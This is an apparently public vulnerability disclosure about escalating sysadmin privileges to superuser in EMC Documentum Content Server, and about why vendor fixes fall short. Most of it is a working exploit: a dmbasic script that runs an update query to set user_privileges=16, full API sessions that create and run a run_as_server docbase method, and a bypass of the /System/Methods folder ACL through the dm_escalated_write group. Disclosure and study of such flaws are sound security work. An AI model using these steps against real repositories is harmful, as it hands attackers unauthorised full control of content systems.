sysadmin privilege in EMC Documentum Content Server

[<andrew () panfilov tel>]

Product: EMC Documentum Content Server
Vendor: EMC
Version: ANY
CVE: N/A
Risk: High
Status: public/not fixed

In 2011 Yuri Simone discovered a security flaw in EMC Documentum Content 
Server, which allows users with sysadmin privileges to elevate their 
privileges to superuser (see CVE-2011-4144). On April 2014 I discovered 
another set of vulnerabilities related to CVE-2011-4144 (see attached 
VRF#HUDHKNW4.txt). On September 2014 vendor announced a fix (see 
CVE-2014-4622) for the first only vulnerability from VRF#HUDHKNW4.txt (check 
row 5 in CERT's spreadsheet  for VU#315340 
(http://www.kb.cert.org/vuls/id/315340)). Yesterday vendor announced a new 
fix (see CVE-2015-4531) related to VRF#HUDHKNW4.txt. Besides the fact that 
CVE-2015-4531 has a completely wrong description, CVE-2015-4531 does not 
introduce any security fixes. I believe that there are about a dozen of 
options to elevate privileges from sysadmin to superuser, but I'm going to 
describe the most obvious one.

1. If attacker is able to create (or modify) docbase method (object with 
dm_method type) he is able to elevate his privileges through executing this 
method, example:

cat > test.ebs
Const CONNECTION_ERROR As Integer = 33

Sub rmain(d As String, u As String, g As String)
 s$ = dmAPIGet("connect," & d & "," & u & ",")

 If s = "" Then
   dmExit(CONNECTION_ERROR)
 End If

 q$ = "update dm_user objects" & _
      " set user_privileges=16" & _
      " where user_name='" & g & "'"

 s=dmAPIExec("execquery," & s & ",T," & q)

End Sub


API> create,c,dm_method
...
10024be98001f92d
API> set,c,l,object_name
SET> test
...
OK
API> setfile,c,l,test.ebs,crtext
...
OK
API> set,c,l,method_verb
SET> ./dmbasic -ermain
...
OK
API> set,c,l,run_as_server
SET> T
...
OK
API> set,c,l,use_method_content
SET> T
...
OK
API> set,c,l,method_type
SET> dmbasic
...
OK
API> save,c,l
...
OK
API> retrieve,c,dm_user where user_name='test'
...
11024be980000e8a
API> get,c,l,user_privileges
...
0
API> apply,c,,DO_METHOD,METHOD,S,test,
    ARGUMENTS,S,'repo dmadmin test'
...
q0
API> retrieve,c,dm_user where user_name='test'
...
11024be980000e8a
API> get,c,l,user_privileges
...
16

2. for the reason mentioned above regular users are unable to create or 
modify docbase methods:

API> create,c,dm_method
...
10024be98001f954
API> save,c,l
...
[DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error:  "The current user (test)
  needs to have superuser  or sysadmin privilege to save or destroy 
dm_method object."

3. But sysadmins were able to create docbase methods. Now if sysadmin tries 
to create docbase method it gets following error:

API> create,c,dm_method
...
10024be98001f968
API> set,c,l,object_name
SET> test1
...
OK
API> setfile,c,l,test.ebs,crtext
...
OK
API> set,c,l,method_verb
SET> ./dmbasic -ermain
...
OK
API> save,c,l
...
[DM_SYSOBJECT_E_LINK_PERMIT2]error:  "Linking or unlinking to the folder
        '/System/Methods' failed on sysobject '10024be98001f968'.
       WRITE permit is required on the folder, when using folder security."

4. So, it is obvious that remediation provided by vendor relies on ACL 
restrictions for /System/Methods folder, the problem is vendor does not take 
into account that Content Server has a set of groups which allow to bypass 
ACL restrictions and are still manageable by sysadmin users, example:

API> ?,c,alter group dm_escalated_write add testadmin

API> create,c,dm_method
...
10024be98001f969
API> set,c,l,object_name
SET> test1
...
OK
API> setfile,c,l,test.ebs,crtext
...
OK
API> set,c,l,method_verb
SET> ./dmbasic -ermain
...
OK
API> save,c,l
...
OK



__
Regards,
Andrey B. Panfilov

Attachment: VRF#HUDHKNW4.txt
Description: